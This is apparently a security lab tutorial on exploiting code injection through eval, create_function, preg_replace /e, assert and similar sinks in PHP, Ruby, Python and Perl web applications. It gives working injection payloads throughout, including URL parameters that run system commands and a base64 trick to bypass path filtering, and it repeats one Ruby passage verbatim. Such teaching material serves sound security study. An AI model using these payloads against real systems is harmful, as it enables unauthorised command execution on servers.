Code Exection

Code execution comes from a lack of filtering and/or escaping of user-controlled data.

When you are exploiting a code injection, you will need to inject code as part of the data you are sending to the application.

For example: if you want to run the command `ls`, you will need to send `system("ls")` to the application if it is a PHP application.

Just like other examples of web application issues, it's always handy to know how to comment out the rest of the code (i.e.: the suffix that the application will add to the user-controlled data).

In PHP, you can use // to get rid of the code added by the application.

As with SQL injection, you can use the same value technique to test and ensure you have a code injection:

  • By using comments and injecting /* random value */.

  • By injecting a simple concatenation "." (where " are used to break the syntax and reform it correctly).

  • By replacing the parameter you provided by a string concatenation, for example "."ha"."cker"." instead of hacker.

You can also use time-based detection for this issue by using the PHP function sleep. You will see a time difference between:

  • Not using the function sleep or calling it with a delay of zero: sleep(0).

  • A call to the function with a long delay: sleep(10).

Obviously, the code injection should be in the language used by the application. Therefore, the first step in an injection is to find what language is used by the application. To do so you can look at the response's headers, generate errors or look at the way special characters are handled by the application.

For example: by comparing `+` and `.` for concatenation of strings.

This next example is a trivial code injection. If you inject a single quote, nothing happens. However, you can get a better idea of the problem by injecting a double quote:

Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/index.php(6) : eval()'d 
code on line 1

This could be the other way around; the single quote could generate an error where the double quote may not.

Based on the error message, we can see that the code is using the function eval.

"Eval is Evil"

We saw that the double quote breaks the syntax, and that the function eval seems to be using our input. From this, we can try to work out payloads that will give us the same results:

  • ".": we are just adding a string concatenation; this should give us the same value.

  • "./*g37sys73m*/": we are just adding a string concatenation and information inside comments; this should give us the same value.

Now that we have similar values working, we need to inject code. To show that we can execute code, we can try to run a command (for example uname -a using the code execution). The full PHP code looks like:

system('uname -a');

The challenge here is to break out of the code syntax and keep a clean syntax. There are many ways to do it:

  • By adding dummy code: ".system('uname -a'); $dummy=".

  • By using comment: ".system('uname -a');# or ".system('uname -a');//.

Don't forget that you will need to URL-encode some characters (# and ;) before sending the request.

When ordering information, developers can use two methods:

  • order by in a SQL request;

  • usort in PHP code.

The function usort is often used with the function create_function to dynamically generate the "sorting" function, based on user-controlled information. If the web application lacks potent filtering and validation, this can lead to code execution.

By injecting a single quote, we can get an idea of what is going on:

Parse error: syntax error, unexpected '',$b->id'' (T_CONSTANT_ENCAPSED_STRING) in /var/www/index.php(29) : 
runtime-created function on line 1

Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/index.php
 on line 29

The source code of the function looks like the following:

ZEND_FUNCTION(create_function)
{
  [...]
  eval_code = (char *) emalloc(eval_code_length);
  sprintf(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(%s){%s}", Z_STRVAL_PP(z_function_args), Z_STRVAL_PP(z_function_code));

  eval_name = zend_make_compiled_string_description("runtime-created function" TSRMLS_CC);
  retval = zend_eval_string(eval_code, NULL, eval_name TSRMLS_CC);
  [...]

We can see that the code that will be evaluated is put inside curly brackets {...}, and we will need this information to correctly finish the syntax, after our injection.

As opposed to the previous code injection, here, you are not injecting inside single or double quotes. We know that we need to close the statement with } and comment out the rest of the code using // or # (with encoding). We can try poking around with:

  • ?order=id;}//: we get an error message (Parse error: syntax error, unexpected ';'). We are probably missing one or more brackets.

  • ?order=id);}//: we get a warning. That seems about right.

  • ?order=id));}//: we get an error message (Parse error: syntax error, unexpected ')' i). We probably have too many closing brackets.

Since we now know how to finish the code correctly (a warning does not stop the execution flow), we can inject arbitrary code and gain code execution using ?order=id);}system('uname%20-a');//, as an example.

This challenge is based on a vulnerability in PHPMyAdmin: CVE-2008-4096

Another very dangerous modifier exists in PHP: PCRE_REPLACE_EVAL (/e).

This modifier will cause the function preg_replace to evaluate the new value as PHP code, before performing the substitution.

PCRE_REPLACE_EVAL has been deprecated as of PHP 5.5.0

Here, you will need to change the pattern, by adding the /e modifier. Once you have added this modifier, you should get a notice:

Notice: Use of undefined constant hacker - assumed 'hacker' in /var/www/codeexec/example3.php(3) : regexp code on line 1

The function preg_replace tries to evaluate the value hacker as a constant, but as it is not defined, you get this error message.

You can easily replace hacker with a call to the function phpinfo() to get a visible result.

Once you can see the result of the phpinfo function, you can use the function system to run any command.

/?new=hacker&pattern=/lamer&base=Hello lamer

/?new=hacker&pattern=/lamer/e&base=Hello lamer

/?new=phpinfo()&pattern=/lamer/e&base=Hello lamer

This based on the function assert.

When used incorrectly, assert will evaluate the value received. This behaviour can be used to gain code execution.

By injecting a single quote or double quote (depending on the way the string was declared), we can see an error message indicating that PHP tried to evaluate the code:

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: 'hacker'' in /var/www/codeexec/example4.php on line 4

Once we have broke the syntax, we need to try to reconstruct it correctly. We can try the following: hacker'.'. We can now see that the error message has disappeared.

Now that we know how to finish the syntax to avoid errors, we can just inject our payload to run the function phpinfo(): hacker'.phpinfo().' and we get the configuration of the PHP engine in the page.

Now we are dealing with a Ruby application

which you will be able to quickly tell by injecting a double quote in the username parameter.

Since the application is in development mode, we get a lot of details on the error. The following line is especially interesting:

@message = eval "\"Hello "+params['username']+"\""

We can see that we are injecting in a call to eval.

Always remember: eval is evil.

Here, we will need to do the following: * A double-quote " to break out of the string. * Add a + sign for string concatenation (don't forget to URL-encode it) * Add a call to the command ([COMMAND]) we want to run using `[COMMAND]`. * Add another + sign for string concatenation. * Another double-quote " to close the one that was already there.

When we are dealing with a Ruby application, which you will be able to quickly tell by injecting a double quote in the username parameter.

Since the application is in development mode, we get a lot of details on the error. The following line is especially interesting:

@message = eval "\"Hello "+params['username']+"\""

We can see that we are injecting in a call to eval.

Always remember: eval is evil.

Here, we will need to do the following: * A double-quote " to break out of the string. * Add a + sign for string concatenation (don't forget to URL-encode it) * Add a call to the command ([COMMAND]) we want to run using `[COMMAND]`. * Add another + sign for string concatenation. * Another double-quote " to close the one that was already there.

?name=hacker"+`id`+"

Now dealing with a Python application.

Like our previous exercise, we can see that injecting a double-quote gives us an error.

First, let's see how we can properly close the double-quote.

We can inject a + (properly encoded) and another double-quote to get a response without error.

Now, we need to make sure it's a Python application. For this, we can use:

`"%2bstr(True)%2b"test` 

The fact that both str() and True are available give us a pretty good chance that Python is used. For the rest of the challenge, we will put our payload inside the call to str().

Now, we want to get to code execution. We can try to use os.system('id') for example.

We can see a 0 coming back in the response. This shows that the command was executed successfully. If you try an invalid command like hacker, you will get 32512 meaning that the process returned 127 (since the command is not found).

It may also be valuable to get the value returned by the command. To do this, you can use: os.popen('[CMD]').read() instead of os.system('[CMD]').

`"%2bstr(os.system('id'))%2b"test` 

In the previous notes, things were a bit easier by importing os in the vulnerable application. However, If we try to use os.system('id') for example. we get an error message.

This is likely due to the fact that the os module (that we need to access system) is not loaded. We can use the following syntax to load and run the system function:

`__import__('os').system(...`

`"%2bstr(`__import__('os').system('id')`)%2b"test` 

Previous allowed / in the path, since the following Flask route was used:

@app.route('/hello/')

This challenge prevents us from using / in the path, since the following route is used:

@app.route('/hello/user')

This is obviously something you can only guess by trial and error. We can go back to the previous payload using ls and it will work. However, we can't run /usr/bin/nc (since we need a /).

To bypass this issue, we can use base64 encoding.

We will send a base64 encoded command to the server (to avoid the / in the path), and tell the server to decode it using the function b64decode.

The call to b64decode will be done by the server as part of our payload. However, unfortunately the base64 module is not loaded, so we will need to use the __import__ trick to load base64.

str(__import__('os').popen(__import__('base64').b64decode('L3VmUgMzU5NmE2YzktNGMyMi0WIzZDY0MWZm')).read())

Code injection in Perl.

The Perl script is deployed as a CGI script. You can quickly get a better understanding of how the site works by inspecting the traffic. First the index page is loaded, then it does a request to the CGI in JavaScript.

As always, you can use single or double quotes to trigger unexpected behaviour in the application.

Once you find which one is used, you should be able to gain command execution using backticks or one of the Perl functions used to run a command (system, exec).

Once you are able to run commands like uname, you should be able to score this exercise.

hacker'.`uname`.'

Last updated